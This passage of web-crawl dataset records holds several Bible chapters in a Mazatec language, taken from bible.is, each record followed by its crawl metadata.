ko̱'sín tjisi? 54Jesús kitsó‑la̱: ―Tsa ti̱'a̱án jeya síkíjna‑na ijo‑na̱ ni̱mé chjí‑la̱. Tanga jé Na̱'ìn‑na̱ ra jeya síkíjna‑na, jè ra 'mì‑la jiòn nga jè ma Nainá‑no. 55Tanga mì kì 'yaxkon jiòn. 'A̱n bexkon‑náa̱; tsa xiáa̱n, mì kì bexkoo̱n, ti̱'koa̱á xi̱ta̱ ndisoó ko̱ma‑te koni 'sín nga ndiso jiòn ra jiòn. Tanga bexkon‑náa̱, ko̱ sìhitjásón‑náa̱ koni 'sín tsò jè 'én‑la̱. 56Abraham, jè xi̱ta̱ jchínga‑najiòn tsjaá ki'se‑la̱ nga mejèn‑la̱ ske̱ jè ni̱chjin 'kia̱ nga kjí'ia̱; ko̱ kijtse‑ní, ko̱ 'ñó tsja ki'se‑la̱. 57Jñà xi̱ta̱ judío kitsó‑la̱ Jesús: ―Nda kjè tjín‑li icháte nó. ¿Kó'sín ma‑ni nga kijchaxkin jè Abraham? 58Kiìchja̱ Jesús, kitsò‑la̱: ―Ngi 'én kixi̱í ra xin‑no, 'A̱n‑ná ra ta̱'koa̱ tíjna̱ 'kia̱ nga ti̱kjè tsìn ra jè Abraham. 59Jñà xi̱ta̱ kìi̱, 'kia̱á iskábé na̱jo̱ nga mejèn‑la̱ ko̱sèn‑la̱ Jesús; tanga tsikijna'maá Jesús; a̱kjòn 'jahajin masen‑la̱ xi̱ta̱; itjo‑ni ndi̱tsin i̱ngo̱ nga kijì.\nSan Juan 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/8","date":"2013-12-07T08:09:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053865\/warc\/CC-MAIN-20131204131733-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":1407,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè to̱n ra maxkó a̱'ta 'tse̱ na̱xi̱ndá‑la̱ Cristo, 'koa̱á ti̱'sín ti̱ko̱o koni 'sín kíxin‑la̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ya̱ ján nangi Galacia. 2'Kia̱ nga tahingo̱, nga jín jin ni̱chjin, nga jngó jngó‑no ra jiòn, ti̱náchrje'ta chiba jè chjí‑no nga ti̱kíjnatjò koni 'ki nga nikijne, mé‑ni nga 'kia̱ nga 'a̱n ra kijchòo̱, mì kì tsa 'kia̱ ko̱xkó jè to̱n. 3'Kia̱ nga kijchò'tsè‑no, 'a̱án sikásén ya̱ ján Jerusalén jñà xi̱ta̱ ra jiòn chjáajion nga i̱ko̱ jè to̱n ra jiòn 'kio̱ò. Ko̱ xa̱jo̱ón si'káa̱ ya̱ ñánda̱ nga tíchja̱ a̱'ta 'tse̱ to̱n ra jiòn si̱kasén. 4Tsa machjeén‑ní nga ti̱'koa̱á 'a̱n kjiáa̱n, ko̱ma‑la ko̱hijtako̱‑na jñà xi̱ta̱ kìi̱. 5Ya̱á kijchò'tsè‑no 'kia̱ nga ijye kjoáha̱to ya̱ nangi Macedonia, nga̱ 'koa̱á 'sín tjínda‑na nga ya̱ kjoáha̱to ítjòn. 6Ko̱ tsa ko̱ma, ya̱á kóti̱jna chiba ni̱chjin ko̱‑no, ko̱ tsa kií ni̱chjin‑ni, ya̱á kóti̱jnako̱‑no skanda 'kia̱ nga ko̱to jè ni̱chjin‑la̱ 'nchán, mé‑ni nga ko̱'sín ko̱ma ki̱si̱ko̱‑nájiòn tsa 'kia̱ ñánda̱ nga tjínè‑na nga kjiáa̱n nga ma a̱skan‑ni. 7Majìn‑na tsa tà sasa kijchò'tsè‑no. Jè ra mejèn‑na nga ya̱ kóti̱jna chiba ni̱chjin ko̱‑no tsa jè Na̱'ín‑ná ra ko̱'sín tsjá'nde‑na. 8I̱í kóti̱jna na̱xi̱ndá Éfeso skanda jè ni̱chjin 'kia̱ nga ki̱tjo jè 'sí Pentecostés. 9Nga̱ batoó 'ñó nda títjo'nde‑na nga ma tí'siaa̱n xá‑la̱ Nainá ra 'ñó nda tífì kjoa̱, ni̱'sín takó kjìn ma‑ni ra kondra̱ títsa̱jna ra a̱'ta tsa̱'a̱n. 10Tsa ki̱jchò jè Timoteo, chítsijen‑la nga kì tà chjàn 'cho ma‑la̱ nga kíjnajin‑no, ko̱ nga, kì tà chjàn kjo̱skon 'se‑la̱; nga̱ ti̱'koa̱á xá‑la̱ Nainá tí'sín‑te koni ra 'a̱n. 11'Koa̱á ma‑ni, kì ni̱jngo‑no ra jiòn ra nachrjengio, ta isa̱á jnchro ti̱si̱ko̱o nga 'nchán katanchrabá‑ni nga kj'i̱í katsíjen‑na; nga i̱í tíkoñá‑la̱ ra 'a̱n ko̱ jñà 'ndsé ra i'ka. 12Jè 'ndsé Apolos, 'ñó jchán ítsikitsá'ba‑la̱ nga katafì katsíjen‑no nga kátáhijtako̱ jñà 'ndsé, tanga kjòmajìn‑la̱ nga kijì, tanga 'kia̱á‑la ki̱ji̱ tsa 'kia̱ nga ko̱ma ra 'si̱in. 13Nda titsa̱kon ko̱ kixi̱ ti̱ncha a̱'ta 'tse̱ kjoa̱ ra makjiín‑no; ko̱ kata'se‑no kjoa̱ táhijín, 'ñó ti̱ncha. 14Nga'tsì kjoa̱ ra 'nià, ngi ko̱ó kjo̱tsjacha‑no nga ti̱hitjasòn. 15Jiòn 'ndsé ko̱ tichjeé, ijyeé nda tjíjin‑no nga jñà xi̱ta̱ ni'ya‑la̱ Estéfanas, jñá kjokjiín ítjòn‑la̱ a̱'ta 'tse̱ Cristo ya̱ nangi Acaya. Jñà xi̱ta̱ kìi̱, kií xá 'sín nga basìko̱'ta jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 16Ko̱ jiòn 'ndsé, 'koa̱á 'sín tíbitsá'ba‑no nga nda ti̱hitjasòn‑la jñà xi̱ta̱ ra ko̱'sín síxá koni jñà xi̱ta̱ kìi̱; 'koa̱á ti̱'sín ti̱hitjasòn‑la nga'tsì xi̱ta̱ ra síxá skanda kó ra mì'on‑la̱ nga síxá‑la̱ Nainá. 17Matsjaá‑na nga 'jií'tse‑na Estéfanas ko̱ Fortunato ko̱ Acaico. Jè ra mì kì kjomà‑najiòn ki'tsí‑ná, jñá títsjá‑na. 18Nga̱ jñá isí'nchán‑sòn‑ni inìma̱‑na̱ ko̱ ti̱'koa̱á tsa̱jiòn. Machjeén‑ní nga jcha̱xkón jñà xi̱ta̱ ra ko̱'sín 'sín koni jñà xi̱ta̱ kìi̱. 19Jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra ya̱ nangi Asia 'tse̱, síhixo'tá‑no. Jè Aquila ko̱ Priscila ko̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra ya̱ maxkóya ya̱ ni'ya‑la̱, 'ñó nda síhixo'ta‑no a̱'ta 'tse̱ Na̱'ín‑ná. 20Nga'tsì 'ndsé síhixo'tá‑no. Jiòn ra xi̱ta̱ tsje‑la̱ Nainá 'mì‑no, ngi ko̱ó inìma̱‑no nga nda ti̱kjáya‑la xàngio̱o nga jngó jngó‑no. 21'A̱n ra 'mì‑na Pablo, tíbindá‑no xa̱jo̱n ra̱kìi̱ ra ngi ndsa̱ kjòn tíbindá‑na ra 'tse̱ kjoa̱ nìhixo'ta. 22Katakanè‑la̱ kjo̱hi'in jè ra tsìn‑la̱ kjo̱tsjacha a̱'ta 'tse̱ Jesucristo jè ra tíjna ítjòn‑ná. Ji̱ ra xi̱ta̱ ítjòn‑naji̱n 'mì‑li, ¡nchrabí! 23Jè katijnako̱‑no kjo̱nda‑la̱ Jesucristo ra tíjna ítjòn‑ná. 24Jè kjo̱tsjacha‑na̱ ra ya̱ nchrabá‑ni a̱'ta 'tse̱ Cristo Jesús, katijnako̱‑no. Ko̱'sín katama.\n1 Corintios 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/16","date":"2013-12-06T05:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049570\/warc\/CC-MAIN-20131204131729-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":524,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ ra isa̱ 'ñó machjeén, 'koa̱á 'sín tíbiné‑no nga titsa'batjiò nga'tsì xi̱ta̱, ti̱nákjoa̱'ta‑la Nainá, ti̱'koa̱ titsa'ba‑te‑la, ko̱'sín 'tin‑la jè Nainá nga tse kjo̱nda kata'se‑la̱ ra jè a̱'ta 'tse̱ nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde. 2Machjeén‑ní nga kítsa'batjié ra xi̱ta̱xá ítjòn títsa̱jna ko̱ nga'tsì ra kjo̱téxoma tjíya tsja, mé‑ni nga 'nchán ki̱tsa̱jna‑né ti̱'koa̱á ta̱fi ta̱fi si̱jché ijo‑ná ti̱'koa̱á jcha̱xkén Nainá ko̱ jcha̱xkén kjoa̱ ra nda tjióo̱n. 3'Kia̱ nga ko̱'sín 'sie̱én, ndaá tjín ko̱ ndaá sasén‑la̱ Nainá ra bachrjekatjì‑ná kjo̱hi'in. 4Nainá, jè ra mejèn‑la̱ nga nga'tsì xi̱ta̱ ki̱tjokajin kjo̱hi'in ti̱'koa̱ si̱jin‑la̱ kó'sín tjín ra ngi kjo̱hixi̱. 5Jngoó‑ni ra Nainá; ti̱'koa̱á ta jngoó ma‑ni xi̱ta̱ ra chja̱tjì‑ná a̱'ta 'tse̱ Nainá, jè xi̱ta̱ ra Jesucristo 'mì. 6'Kia̱ nga ijchò ni̱chjin nga ko̱'sín tjínda‑la̱ Nainá, Jesucristo kitsjà kjo̱tjó ijo‑la̱ nga 'ken mé‑ni nga kjóchjítjì‑ni nga'tsì xi̱ta̱. 'Koa̱á 'sín ki'sìn Nainá mé‑ni nga kjomà kijtse‑ni nga'tsì xi̱ta̱. 7'A̱án kjonga̱tsja jè xá ra̱kìi̱ nga 'a̱n tsikíxáya‑na Cristo, nga kichjàya 'én nda‑la̱ ti̱'koa̱ kokon‑yá‑la̱ jñà ra mì tsa xi̱ta̱ judío nga ko̱kjiín‑la̱ a̱'ta 'tse̱ Cristo ti̱'koa̱ ske̱ ra kjo̱hixi̱. 'Én kixi̱í ra tíxin‑la, mì tsa 'én ndiso‑jìn. 8A̱'ta 'tse̱ xi̱ta̱ 'xi̱n, jé ra mejèn‑na 'kia̱ nga ki̱chja̱'ta‑la̱ Nainá ta ñánda̱ i̱'nde títsa̱jna, tsje katasíkítsa̱jna inìma̱‑la̱ 'kia̱ nga ski̱ímítje̱n‑la̱ tsja Nainá. Kì kjo̱jti tjín‑jìn inìma̱‑la̱ ko̱ kì i̱nchikjaán‑kjo‑jìn. 9Ti̱'koa̱ jñà íchjín, jñà nikje ra nda bakèn‑la̱ katjaya. Chi chiba kátínda ijo‑la̱ mé‑ni nga mì xi̱ta̱ 'cho sko̱òtsíjen‑jnó‑ni. Kì jñà nikje ra 'ñó chjí‑la̱ faya. Kì taxki̱ bí'ta sko̱ ko̱ ya̱ ijo‑la̱ tsajmì ra 'ñó chjí koni ki̱cha̱ oro ko̱ perla. 10Tà isa̱á jñá kata'sín xá ra nda tjín koni 'sín bakèn‑la̱ jñà íchjín ra bexkón Nainá. 11Jñà íchjín jyó katitsa̱jna 'kia̱ nga chitá'yá 'én‑la̱ Nainá; kata'nchréhijon‑la̱ jè ra bakón‑ya. 12'A̱n, mì kì tsja'ndée̱ nga jñà íchjín ko̱tèxoma‑la̱ jñà ra xi̱ta̱ 'xi̱n ti̱'koa̱ nga jñà ko̱kòn‑ya‑la̱. Jñà íchjín, jyó katitsa̱jna. 13Tà nga̱tjì‑la̱ jè Nainá, ítjòn tsikínda Adán, ko̱ a̱skaán tsikínda Eva. 14Mì tsa jè Adán ra ichìndo̱cha̱‑la̱; jé chjo̱ón‑ní. 'Koa̱á 'sín kjomà‑ni nga isakò jé‑la̱. 15Tanga jñà íchjín, tsa si̱hitjasòn koni 'sín mejèn‑la̱ Nainá nga 'se̱‑la̱ i̱xti, ki̱tjokajiín kjo̱hi'in. Machjeén‑ní nga ngi nda tjín ikon nga ko̱kjiín‑la̱ a̱'ta 'tse̱ Cristo, ti̱'koa̱ 'se̱‑la̱ kjo̱tsjacha, ko̱ tsje kítsa̱hijyoko̱ Nainá nga nda si̱ìjchá ijo‑la̱.\n1 Timoteo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/2","date":"2013-12-13T01:06:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164786099\/warc\/CC-MAIN-20131204134626-00095-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":364,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A̱'ta 'tse̱ kjo̱tjò ra tímaxkó nga tíbisiko̱'ta jñà xi̱ta̱‑la̱ Nainá ra i̱nchichija'ta‑la̱, mì kì machjeén tsa mé 'én ra 'a̱n kindá‑najiòn. 2Nga̱ ijyeé be‑náa̱ nga titsa̱jnanda‑nájiòn nga 'kio̱ò kjo̱tjò‑no, 'koa̱á ma‑ni nga 'ñó matsja‑na ra a̱'ta tsa̱jiòn, 'kia̱ nga ítsi'kena̱jmí‑la̱ jñà xi̱ta̱ ra ya̱ nangi Macedonia títsa̱jna, nga ti̱ ni̱chjin jngo inó tjín‑ni nga mejèn‑najiòn 'kio̱ò kjo̱tjò‑no, jiòn ra ya̱ titsa̱jna ya̱ nangi Acaya. 'Kia̱ nga ko̱'sín ítsi'kena̱jmí‑la̱ nga ijyeé nda tihijyondá jiòn, isa̱á ta 'ñó kjotsja‑la̱ nga ti̱'koa̱á mejèn‑la̱ nga tsjá‑te jñà kjo̱tjò‑la̱. 3Kií xá ísikásén‑najiòn jñà 'ndsé kìi̱, mé‑ni nga mì tsa ta 'én ndiso ka̱ma‑ni koni 'sín nga ijye 'ñó nda kíchjà ra a̱'ta tsa̱jiòn. Jé‑la ra nda tjín tsa ko̱'sín ijye titsa̱jnanda jiòn koni 'sín ijye kíxian. 4Tsa tjín i'ka‑ni xi̱ta̱ ra ya̱ i̱'nde‑la̱ ya̱ nangi Macedonia ra mejèn‑la̱ nga i̱ko̱‑na 'kia̱ nga kjiáa̱n, tsa takó kjè kì titsa̱jnanda‑najiòn 'kia̱ nga kijcho‑ji̱n, koni 'sín nga chiñá‑ji̱n, ta ko̱sabáa‑naji̱n, ko̱ jiòn, isa̱á ta tse kjo̱sabà ki̱tsa̱jiòn. 5'Koa̱á ma‑ni nga ko̱'sín ísikítsjee̱n nga tsikitsá'ba‑la̱ jñà 'ndsé nga tje̱n katafikatsíjen ítjòn‑najiòn, mé‑ni nga tje̱n kátíxkó jè kjo̱tjò ra ijye ko̱'sín tsikinè‑la ijo‑no nga 'kio̱ò, mé‑ni nga ijye tíjnanda‑ni koni jngo kjo̱tjò ra inìma̱‑no inchrabàjin‑ni ko̱ mì tsa jngo kjo̱tjò ra kjo̱'ñó i̱nchima‑no. 6Ti̱kítsjen jè 'én ra tsò: Jè xi̱ta̱ ra chiba tsajmì bítje̱, chibaá tsajmì majchá‑la̱; ko̱ jè ra kjìn tsajmì bítje̱, kjín tsajmì majchá‑la̱. 7Ko̱'ki 'tio̱o nga jngó jngó‑no koni 'ki nga nchrabájin inìma̱‑no; kì tà ko̱ kjo̱ba‑no nga 'biò ko̱ kì tà jò tjín‑no nga 'biò. Nainá, jé tsjake xi̱ta̱ ra ngi ko̱ kjo̱tsja‑la̱ tsjá. 8Jè Nainá maá‑la̱ nga ko̱'sín 'si̱in nga 'se̱ ijye‑najiòn ta mé kjo̱nda‑ni, mé‑ni nga sa̱kò ki'ta‑najiòn kó'ki tsajmì machjeén‑no; nga skanda ki̱jnengií‑no ra sa̱kò‑no, mé‑ni ko̱'sín ma ki̱si̱ko̱'ta‑no ta ñáa̱ kjoa̱ ra nda tjín. 9'Koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Nda kjón isìka'bí nga kitsjà‑la̱ jñà ra xi̱ta̱ i̱ma̱. Ko̱ jè kjoa̱kixi̱ ra 'sín, tíjna ki'ta‑ní skanda ta kjiá‑nioo̱. 10Jé Nainá ra tsjá tje̱‑la̱ tsajmì nga síxáko̱ nangi jñà xi̱ta̱, ko̱ ti̱'koa̱ tsjá‑la̱ ni̱ño̱ ra bakjèn; jé tsjá‑no mé tsajmì ra kítje̱e ko̱ 'koa̱á 'sín 'si̱in nga isa̱ ko̱kjìn‑ya tsajmì‑no, ko̱ kjín kjo̱nda sa̱kò‑najiòn koni 'sín tjín kjo̱nda ra 'sia̱an. 11'Se̱é‑no ta mé kjoa̱nchi̱ná‑ni, mé‑ni nga ngi ko̱ó inìma̱‑no nga 'kio̱ò ta mé kjo̱tjò‑ni; mé‑ni nga kjìn xi̱ta̱ ki̱tso̱‑la̱ Nainá: \"Tse kjo̱nda kata'se‑li Na̱'ìn a̱'ta 'tse̱ jè kjo̱tjò ra kitsjà xi̱ta̱ kìi̱.\" 12'Kia̱ nga ko̱'sín i̱nchimahíko̱o‑la̱ji̱n jè nga'ñó ra̱kìi̱ jñà 'ndsé, mì tsa ta jè‑ni nga ma tíbisiko̱ mé ra chija'ta‑la̱ jñà xi̱ta̱‑la̱ Cristo. Ti̱'koa̱á ya̱á nchrabá‑ni nga 'ñó kjìn xi̱ta̱ i̱nchitsò‑la̱ Nainá: \"Tse kjo̱nda kata'se‑li.\" 13Jñà xi̱ta̱ kìi̱, 'kia̱ nga ko̱nga̱tsja kjo̱tjò kìi̱, jeyaá si̱ìkíjna Nainá ta nga̱tjì‑la̱ nga ma‑najiòn ko̱'sín nihitjasòn jiòn koni 'sín nga makjiín‑no ra a̱'ta 'tse̱ 'én xi̱tse̱‑la̱ Cristo ra nda tsò, ko̱ nga maá‑najiòn 'biò kjo̱tjò‑no ra tíbisiko̱'ta ra jñà, ko̱ jñà xi̱ta̱ ra kj'ií‑isa. 14Ti̱'koa̱á 'ñó tsja 'se̱‑la̱ nga ki̱chja̱'ta‑la̱ Nainá ra a̱'ta tsa̱jiòn; ya̱á jcha̱‑la̱ nga 'ñó tsjake‑najiòn ta nga̱tjì‑la̱ nga tseé kjo̱nda tísakó‑najiòn ra a̱'ta 'tse̱ Nainá. 15¡Tse kjo̱nda kata'se‑la̱ Nainá, nga ijye tsikíjnanda jngo‑ná kjo̱tjò ra 'ñó chjí‑la̱, skanda mí kì sakó‑ná 'én kó'sín nga 'ki̱‑lá kjo̱nda!\n2 Corintios 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/9","date":"2013-12-12T16:33:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164646459\/warc\/CC-MAIN-20131204134406-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":520,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè ni̱chjin ra̱kiòo̱, jè xi̱ta̱xá ítjòn ra 'mì Herodes, kií'nchré‑ní koni 'sín nga kjoxki̱ ra a̱'ta 'tse̱ Jesús. 2Kitsó‑la̱ jñà xi̱ta̱‑la̱: ―Jè xi̱ta̱ ra̱kìi̱, jè‑ní, jè Juan ra tsatíndá xi̱ta̱; ijyeé jaáya india‑ila̱. 'Koa̱á ma‑ni nga ko̱tjín nga'ñó ra bakón. 3Nga ti̱'sa̱‑ni kjotseé jé Herodes kitsjà kjo̱hixi̱ nga indabá'ñó jè Juan, a̱kjòn isi'ta na'ñó ki̱cha̱ cadena nga kijì nda̱yá, ta jé nga̱tjì‑la̱ jè chjo̱ón ra 'mì Herodías ra chjo̱ón‑la̱ Felipe kjomà. Jè Felipe, 'ndse̱é jè Herodes. 4Ta kií jé kjomà‑la̱ Juan nga kitsò‑la̱ jè Herodes: \"Mì kì tjí'nde‑jìn nga ti̱ji̱ ki̱jnako̱‑ni jè chjo̱ón‑la̱ 'ndsì.\" 5'Koa̱á ma‑ni nga jè Herodes mejèn‑la̱ nga si̱ì'ken Juan tanga jñá itsakjòn‑la̱ jñà xi̱ta̱ na̱xi̱ndá, nga̱ jñà xi̱ta̱ kìi̱, 'koa̱á 'sín kijtsexkón Juan koni jngo xi̱ta̱ ra síkjeén Nainá nga chja̱ ngajo‑la̱. 6Tanga 'kia̱ nga ijchò ni̱chjin nga ijye nó‑la̱ jè Herodes, 'sí tsikíjna ya̱ ni'ya‑la̱ ko̱ jè tsati‑la̱ chjo̱ón ra 'mì Herodías ya̱á kitè ya̱ ngixko̱n nga'tsì xi̱ta̱ ra ya̱ títsa̱jna. Jè Herodes, ndaá isasèn‑la̱ koni 'sín kitè. 7Kitsjà kixi̱í‑la̱ 'én‑la̱ nga tsjá ijyeé‑la̱ ta mé ra si̱ìjé‑la̱ jè tsati. 8Jè tsati jè na̱‑la̱ tsinchá'a ítjòn mé‑ni nga jè sko̱ Juan katasíjé. A̱kjòn 'kia̱á kitsò‑la̱ jè Herodes: ―Jé mejèn‑na nga jè sko̱ Juan, ra batíndá xi̱ta̱, 'tiì‑ná nga ti̱kíjnaya‑ná jngo chro̱ba̱te. 9Jè xi̱ta̱xá ítjòn ra 'mì Herodes, 'kia̱ nga kií'nchré‑la̱ tsati, baá kjomà‑la̱. Tanga ijyeé ko̱'sín kitsjà‑la̱ tsa'ba ya̱ ngixko̱n xi̱ta̱ ra ya̱ títsa̱jna'tako̱ ímixa̱; ko̱ kií ko̱'sín kitsjà‑ni kjo̱hixi̱ nga kata'bì‑la̱ jè sko̱ Juan. 10Jè Herodes kitsjá‑la̱ kjo̱hixi̱ jñà xi̱ta̱‑la̱ nga katatesin Juan ya̱ a̱ya nda̱yá. 11A̱kjòn jñà xi̱ta̱ 'jiìkó sko̱ Juan, tíjnaya jngo‑la̱ chro̱ba̱te; kjonga̱tsja jè tsati, ko̱ jè tsati a̱kjòn isìnga̱tsja jè na̱‑la̱. 12'Kia̱á ijchò jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan nga iskábé ijo‑la̱, a̱kjòn kiì kíhijin; ra kjomà a̱skan‑nioo̱ isíkjí'nchré Jesús kjoa̱ ra kjomà. 13'Kia̱ nga ijye kií'nchré Jesús jè kjoa̱ ra̱kìi̱, kijì ta̱jngo‑ní; tsikijnaya jngo chitso; ijchò jngo i̱'nde a̱'ta xìn ñánda̱ nga mì yá xi̱ta̱ tjín. Tanga jñà xi̱ta̱ 'kia̱ nga kií'nchré nga kijì Jesús, itjojiín ya̱ na̱xi̱ndá‑la̱ nga ndsa̱ko̱ kijì‑ni nga kiìtji̱ngi‑la̱ Jesús. 14'Kia̱ nga itjojen Jesús jè chitso, kijtse‑ní jñà xi̱ta̱ ra ya̱ títsa̱jna nga kjín jchán ma‑ni; kjòhi̱ma̱ke‑ní. Ko̱ isindaá‑ni nga'tsì xi̱ta̱ ra kiya. 15'Kia̱ nga ijye kjòhixòn, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ijchò kincha'ta chrañaá‑la̱, kitsò‑la̱: ―Ijyeé kjòhixòn, ko̱ i̱jndíi̱ i̱'nde'taxìn‑ní, nìmé ra tjín. Ko̱'tìn‑la̱ xi̱ta̱ katafì‑ni mé‑ni katatse tsajmì ra ski̱ne̱ ya̱ na̱xi̱ndá i̱tsíñá ra tjín chraña i̱jndíi̱. 16Jesús kitsó‑la̱: ―Mì kì tsa machjeén nga ki̱ji̱‑ni. Jiòn 'ti̱‑la mé ra ko̱kje̱n. 17Jñà xi̱ta̱‑la̱ Jesús kitsó‑ní: ―Tsìn‑naji̱n, ki ta 'òn ma‑ni ni̱ño̱ nchra̱jín ko̱ ta jò ma‑ni ti̱ ra tjíhijyo‑naji̱n. 18Jesús kitsó‑la̱: ―Nchrabáko̱‑ná i̱jndíi̱. 19'Kia̱á ko̱kitsò‑la̱ jñà xi̱ta̱ nga katìtsa̱jnajin ya̱ a̱jin ndi̱jyi̱; a̱kjòn iskábé jñà ni̱ño̱ nchra̱jín ra 'òn ma‑ni ko̱ jñà ti̱ ra jò ma‑ni. A̱kjòn iskotsíjen ya̱ ján ngajmi, kitsjá‑la̱ kjo̱nda Nainá, isìjòya jñà ni̱ño̱ nchra̱jín kìi̱, kitsjà‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱, ko̱ jñà xi̱ta̱‑la̱ isìka'bí‑la̱ jñà xi̱ta̱ ra kjìn ma‑ni. 20Tsakjén nga'tsì xi̱ta̱ kó nga kjoski. 'Kia̱ nga tsikíxkó‑ni jñà ra tsijnengi‑ni, ngi tejò ndi̱si̱yá kjomà‑isa. 21Jñà xi̱ta̱ ra tsakjèn maá‑la tsa 'òn jmi jñà ra ta ngi ta xi̱ta̱ 'xi̱n. Ko̱ mì tsa kinda̱ kjomà jñà íchjín ko̱ jñà ra i̱xti. 22Jesús, 'koa̱á 'sín kitsò‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga kata'faha'sen jè chitso nga tje̱n katafì ítjòn mé‑ni nga isa̱ ítjòn ki̱jchò‑ni ya̱ ra ijngoa nandá ján; 'koa̱à‑la chi̱ba̱‑la̱ jè, tísíkjáya‑la̱ xi̱ta̱ ra ijye i̱nchifì‑ni. 23'Kia̱ ijye kjomà isíkjáya‑la̱ jñà xi̱ta̱, Jesús ya̱á kijìmijno jngo nindo ko̱ ya̱á kiìchja̱'ta ta̱jngo‑la̱ Nainá. 'Kia̱ nga ijye kjòjñò, tà jè ta̱jngoó tíjna Jesús. 24Ko̱ jè chitso ra títsa̱ya xi̱ta̱‑la̱, ijyeé ya̱ ijchò ya̱ nga masen‑la̱ ndáchikon; jè nga'ñó‑la̱ nandá ra máfangi, ijyeé ngaxìn ngajen tífìko̱ jè chitso ta nga̱tjì‑la̱ jè tjo̱ batéchjà ikon‑la̱ koni 'sín nga i̱nchifì. 25'Kia̱ nga ijye tí'se i̱sén, Jesús ya̱á tsá'basòn nandá nga ijchòtji̱ngi‑la̱ xi̱ta̱‑la̱ ra tjítsa̱ya chitso. 26Jñà xi̱ta̱ ra kotá'yá'ta‑la̱, 'kia̱ nga kijtse nga tsá'basòn ya̱ a̱sòn nandá, itsakjón‑la̱; iskindaya xkón‑ní, kitsò: ―Jngo tj'ee̱ tíjna ján. 27Tanga Jesús ndi̱to̱ón kiìchja̱‑la̱ nga kitsò‑la̱: ―'Ñó 'tè‑la takòn, kì tà chjàn skon, 'a̱n‑náa̱. 28Jè Pedro, 'kia̱á kiìchja̱‑la̱ nga kitsò‑la̱: ―Na̱'ìn, tsa ji̱í‑ní, ti̱'nde‑ná nga kjín‑sòn nandá skanda ñánda̱ tisijni. 29Jè Jesús kitsó‑la̱: ―Nchrabí. Jè Pedro itjojeén ya̱ chitso ko̱ maá tsajmesón jè nandá nga kijì‑ni ndsa̱ko̱ ya̱ ñánda̱ síjna Jesús nga kiìtji̱ngi‑la̱. 30Tanga 'kia̱ nga kijtse nga 'ñó tí'ba tjo̱ itsakjón‑ní, a̱kjòn tsikí'tsia̱ nga iskajin‑ndá; 'kia̱á 'ñó kiìchja̱ nga kitsò: ―¡Na̱'ìn, náchrjejin‑ndá‑ná! 31Jesús ndi̱to̱ón itsabá'ñó tsja, kitsò‑la̱: ―¡Ji̱ xi̱ta̱ ra chiba makjiín‑li ra a̱'ta tsa̱'a̱n! ¿Mé‑ni nga jò ka'bè‑la̱ takìn? 32'Kia̱ nga ijye 'jaha'sen‑ni chitso Jesús ko̱ Pedro, ndi̱to̱ón isijyò‑ni tjo̱. 33Jñà xi̱ta̱ ra i'ka ra títsa̱ya chitso tsincha-xkó'nchi'ta‑la̱ Jesús nga kijtsexkón, kitsò‑la̱: ―¡Ngi kixi̱ kitií kjoa̱, ji̱‑ní ra I'ndí‑la̱ Nainá! 34Jesús ko̱ xi̱ta̱‑la̱, 'kia̱ nga ijye tsatojin ya̱ ndáchikon, ijchó ján nangi ra 'mì Genesaret. 35Jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱, 'kia̱ nga kijtsexkon nga jè Jesús ra ya̱ ijchò, isìkasén 'én‑ní nga tíjngo ya̱ i̱'nde ra̱kìi̱; jñà xi̱ta̱ 'jiìkó jñà xi̱ta̱ ra kiya ya̱ ñánda̱ tíjna Jesús. 36Jñà xi̱ta̱ 